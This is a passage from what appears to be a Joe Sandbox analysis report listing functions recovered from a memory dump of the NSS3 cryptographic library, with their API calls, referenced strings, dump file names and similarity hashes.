Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBF4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBF4E59

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCB300C,00000000), ref: 6CBF4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBF4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBF4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF521A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: e657885bb7f1e6946ffef86bb85fc8c5b3deca9091996df122d6a40546673935
Instruction ID: 51182a398940c811b7db78a539416d6a77ceb50f01e3f5263246adb6ced09aa6
Opcode Fuzzy Hash: e657885bb7f1e6946ffef86bb85fc8c5b3deca9091996df122d6a40546673935
Instruction Fuzzy Hash: B9F19E71E00249CBDB08CF54D8407ADB7B2FF49358F258129D929AB781E735E98ACF91

Function 6CBF0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBF2C2A), ref: 6CBF0C81

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

Part of subcall function 6CBC8500: SECOID_GetAlgorithmTag_Util.NSS3(6CBC95DC,00000000,00000000,00000000,?,6CBC95DC,00000000,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0CC4

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBF0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBF0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBF0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBF0D7D
free.MOZGLUE(00000000), ref: 6CBF0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0DC1
free.MOZGLUE(00000000), ref: 6CBF0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBF0E0F

Part of subcall function 6CBC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC95E0
Part of subcall function 6CBC95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC95F5
Part of subcall function 6CBC95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CBC9609
Part of subcall function 6CBC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBC961D
Part of subcall function 6CBC95C0: PK11_GetInternalSlot.NSS3 ref: 6CBC970B
Part of subcall function 6CBC95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBC9756
Part of subcall function 6CBC95C0: PK11_GetIVLength.NSS3(?), ref: 6CBC9767
Part of subcall function 6CBC95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CBC977E
Part of subcall function 6CBC95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBC978E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 6e123a43d4d7e879d6958617ac2283b96757aeb5568bbe7f03f7c30f4968b2c7
Instruction ID: b0d57fb7d48a55a279fa696d0155a2c501e315861bc79087ffa67b35820af6ee
Opcode Fuzzy Hash: 6e123a43d4d7e879d6958617ac2283b96757aeb5568bbe7f03f7c30f4968b2c7
Instruction Fuzzy Hash: 6C41C2B5900296ABEB009F64EC41BAF7674EF04348F144028ED2567751EB35FA59CBF2

Function 6CB84FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB8502A
PR_NewLock.NSS3(00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB85034
PL_NewHashTable.NSS3(00000000,6CBDFE80,6CBDFD30,6CC2C350,00000000,00000000,00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB85055
PL_NewHashTable.NSS3(00000000,6CBDFE80,6CBDFD30,6CC2C350,00000000,00000000,?,00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB8506D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 13f09206e1250a7d2bd9fd53e1b4ed4c963bb96e3001881d14558b3356b21910
Instruction ID: 07646737e5cc6d16bfc39f0147368ba7dcd9693e123dd0819d4bd7fb92946046
Opcode Fuzzy Hash: 13f09206e1250a7d2bd9fd53e1b4ed4c963bb96e3001881d14558b3356b21910
Instruction Fuzzy Hash: EE3103B1B022A19BFB509B65885CF4BB7BCDB1B308F154125EA06C3640E774DE08DBE2

Function 6CB22E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB22F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB22FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB23005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB23131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB23178

Strings

database corruption, xrefs: 6CB2316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB23022, 6CB23156, 6CB23162, 6CB2318A, 6CB23196, 6CB231A2, 6CB231AE, 6CB231BA, 6CB231C6
%s at line %d of [%.10s], xrefs: 6CB23171

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ccd6e81f45b3aa4b121a6a4d7c7d7c34df67b75696a3164d39c984321ac7fb94
Instruction ID: 8903aaaa360dcd980747687d67f498a3cb9bacccdeec1e1b2e37048c0123247e
Opcode Fuzzy Hash: ccd6e81f45b3aa4b121a6a4d7c7d7c34df67b75696a3164d39c984321ac7fb94
Instruction Fuzzy Hash: 19B18B70E052599BCB18CF99C884ABEB7B5FF48304F144029E849A7B41D7789981CBA5

Function 6CBF7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBF7FB2

Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BA51
Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BA6B
Part of subcall function 6CB7BA40: EnterCriticalSection.KERNEL32 ref: 6CB7BA83
Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BAA1
Part of subcall function 6CB7BA40: _PR_MD_UNLOCK.NSS3 ref: 6CB7BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBF7FD4

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CBF9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CBF9466

PR_ExitMonitor.NSS3(?), ref: 6CBF801B
PR_EnterMonitor.NSS3(?), ref: 6CBF8034
TlsGetValue.KERNEL32 ref: 6CBF80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBF80C0
PR_ExitMonitor.NSS3(?), ref: 6CBF811C
PR_ExitMonitor.NSS3(?), ref: 6CBF8134

Strings

), xrefs: 6CBF80DB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: cba67cbce69d237b35b6eb37d520ff440448e903dc458553980936836f718be8
Instruction ID: fe1ffa4ccc91a62479234f34470c36da81fc312dca03a07d5158b52784fdd0da
Opcode Fuzzy Hash: cba67cbce69d237b35b6eb37d520ff440448e903dc458553980936836f718be8
Instruction Fuzzy Hash: EF512871A007849BEB219F369C007DB77B4EF5730CF44462ADD6556B41EB32A60EC792

Function 6CB9FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CB9FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CB9FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CB9FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB9FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CB9FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CB9FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CB9FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB9FD84

Strings

:, xrefs: 6CB9FD78

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: c85f5714415ff3638c14bfd1f0d3fca9850166ab67e492c7384b17c69d088f76
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: A131F1B2D002A59BEB008BA4DC017AF77A8EF56728F254038EC14A7B11E771E908C7D3

Function 6CBB6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CBB6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB6CA3

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBB6CD5

Strings

pMechanism = 0x%p, xrefs: 6CBB6CD0
(CK_INVALID_HANDLE), xrefs: 6CBB6C9C
C_DigestInit, xrefs: 6CBB6C61
hSession = 0x%x, xrefs: 6CBB6C7E, 6CBB6C8E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 34f0b1e751402f176b84c6c5f20ea8448693109afc7f5083c098948747ffcfe3
Instruction ID: 6830540c24ff42806d8b1022bb559017d70bf5386897ba1c0f30b5ec71dbef4b
Opcode Fuzzy Hash: 34f0b1e751402f176b84c6c5f20ea8448693109afc7f5083c098948747ffcfe3
Instruction Fuzzy Hash: 852106306001959BDB089B64DD98BAE37B5EB4B319F044025E409E7B11EF34AD09CBD2

Function 6CBB9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CBB9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB9E33

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CBB9E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB9E2C
C_SessionCancel, xrefs: 6CBB9DF1
flags = 0x%x, xrefs: 6CBB9E60
hSession = 0x%x, xrefs: 6CBB9E0E, 6CBB9E1E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 2a442339af82cf7054a00d6624edf21dbbd41710badcd994e364e70e7a5a4e05
Instruction ID: ae0fcaf5c3945495749180f873674600af8e0fa3e805545b4851b8eb3c97684b
Opcode Fuzzy Hash: 2a442339af82cf7054a00d6624edf21dbbd41710badcd994e364e70e7a5a4e05
Instruction Fuzzy Hash: 63210170A01189AFDB409B54DC98BBE33B4EB4B709F044025F809B7A01EF349D4DCBA2

Function 6CB80F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB80F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB80F84

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CB9F59B,6CCA890C,?), ref: 6CB80FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CB80FC1

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CB80FDB
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB80FEF
PL_FreeArenaPool.NSS3(?), ref: 6CB81001
PL_FinishArenaPool.NSS3(?), ref: 6CB81009

Strings

security, xrefs: 6CB80F5C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4451fa9f172e89eefe0ea03250f3d9690c42d715296b0fe6f8cb77f1b9596105
Instruction ID: 0d17226d753c56e49182c43ea77bcee58339dab8d011bb42d543e9507b6ca3dc
Opcode Fuzzy Hash: 4451fa9f172e89eefe0ea03250f3d9690c42d715296b0fe6f8cb77f1b9596105
Instruction Fuzzy Hash: 452106B1901284ABE7109F24DC40EAF77B8EF49798F048519FC189B701FB31E546CB92

Function 6CB86DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB87D8F,6CB87D8F,?,?), ref: 6CB86DC8

Part of subcall function 6CBDFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBDFE08
Part of subcall function 6CBDFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBDFE1D
Part of subcall function 6CBDFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBDFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB87D8F,?,?), ref: 6CB86DD5

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FA0,00000000,?,?,?,?,6CB87D8F,?,?), ref: 6CB86DF7

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB86E35

Part of subcall function 6CBDFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBDFE29
Part of subcall function 6CBDFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBDFE3D
Part of subcall function 6CBDFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CBDFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB86E4C

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FE0,00000000), ref: 6CB86E82

Part of subcall function 6CB86AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB8B21D,00000000,00000000,6CB8B219,?,6CB86BFB,00000000,?,00000000,00000000,?,?,?,6CB8B21D), ref: 6CB86B01
Part of subcall function 6CB86AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB86B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB86F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB86F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FE0,00000000), ref: 6CB86F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB87D8F,?,?), ref: 6CB86FE1

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3747b892628ebac2194934ef2fc5c49148cc5e54b63c3a1141c2077eec5206ff
Instruction ID: 13d4075c1a6b4e7a1bf01d3ef185d4ad2345330cbf5b3f5b8daa114756a5a457
Opcode Fuzzy Hash: 3747b892628ebac2194934ef2fc5c49148cc5e54b63c3a1141c2077eec5206ff
Instruction Fuzzy Hash: 70719371E216869FDB00CF55CD40BAAB7A8FF54348F154229E818DBB11F770EA94CB91

Function 6CBC0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC1085
PK11_GetAllTokens.NSS3 ref: 6CBC10B1
free.MOZGLUE(?), ref: 6CBC1107
PR_SetError.NSS3(00000000,00000000), ref: 6CBC1172
free.MOZGLUE(?), ref: 6CBC1182
free.MOZGLUE(?), ref: 6CBC11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CBC11C5

Part of subcall function 6CBC52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC52DF
Part of subcall function 6CBC52C0: EnterCriticalSection.KERNEL32(?), ref: 6CBC52F3
Part of subcall function 6CBC52C0: PR_Unlock.NSS3(?), ref: 6CBC5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBC11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBC11F3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

